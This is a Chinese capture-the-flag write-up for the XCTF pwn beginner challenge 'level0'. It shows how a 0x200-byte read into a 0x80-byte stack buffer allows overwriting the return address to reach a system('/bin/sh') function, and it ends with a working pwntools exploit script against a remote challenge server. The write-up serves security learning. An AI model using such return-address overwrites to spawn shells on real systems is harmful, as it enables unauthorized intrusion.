攻防世界misc新手_攻防世界pwn新手练习(level0)

6aea3dc882b53e74325ce0ee2127377a.png

老规矩哦,我们先checksec一下,收集一下信息

2035dd04278c284f409a0d97d77a5193.png

64位程序,开了NX,没啥说的,还在接受范围内,运行一下试试

bd159298c1b256b46ecd5c1f2b5a3877.png

唔,没啥东西,继续IDA吧。(╯‵□′)╯︵┴─┴

b4c173c78f7b72599a9435d442a261f5.png

359abc84f2379f56d8ac1eedc4389222.png

emmm,主函数倒是挺简单的,就一行打印,一行输入

但...不知你们有米有发现有个很奇怪的函数名,我们悄悄的瞅一瞅

a522cea1ddbb33f9b3e12c2c83c1695f.png

果然不对劲,首先它的名字中有个system(手动加粗),这个是什么东西嘞,简单的来说,它拥有系统的最高权限,啥都能干,而它和“/bin/sh”连在一起则可以给我提供一个类似cmd的东西,我们可以用它来进行查看/修改/操作等动作。 那么总结一下,现在我们已经有了一个可以获取系统权限的函数,利用它我们可以手动去查找flag 那么问题来了,我们应该如何让程序去执行这个函数呢?

重点来了(敲黑板!!!)

我们观察一下read函数读取时读取了多少东西(字符?字节?以后填坑)

3714ed439fd97b012ea8fc6688197d75.png

发现了么?发现了么?发现了么?(重要的事情说三遍) buf这个字符数组的长度只有0x80,而我们可以输入0x200的东西,哇,是不是很刺激,我们的输入不但可以填充满真个数组还能覆盖掉数组外面的东西,那这样又能干什么呢? 我们先看一下数组后面紧跟的是什么东西,继续在栈中看

c59975c50ec4974475262317714810bd.png

当属于数组的空间结束后(到0x0000000000000000时),首先,有一个s,8个字节长度,其次是一个r,重点就在这,r中存放着的就是返回地址。即当read函数结束后,程序下一步要到的地方。

那这样岂不是很美滋滋?我们可以输入好长好长的数据,完全可以覆盖这个r。ok了,分析完毕,上exp

```python from pwn import *

r = remote("111.198.29.45", 34012)

payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)

r.recvuntil("Hello, Worldn") r.sendline(payload)

r.interactive() ``` 瞅瞅结果?

491916c9587d52b0790e59040350fc06.png

搞完收工,我们下次见,挥挥

最后放一下我的博客(http://www.sailingplace.cn),有兴趣的可以来看看(萌新的小天地,轻点喷)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值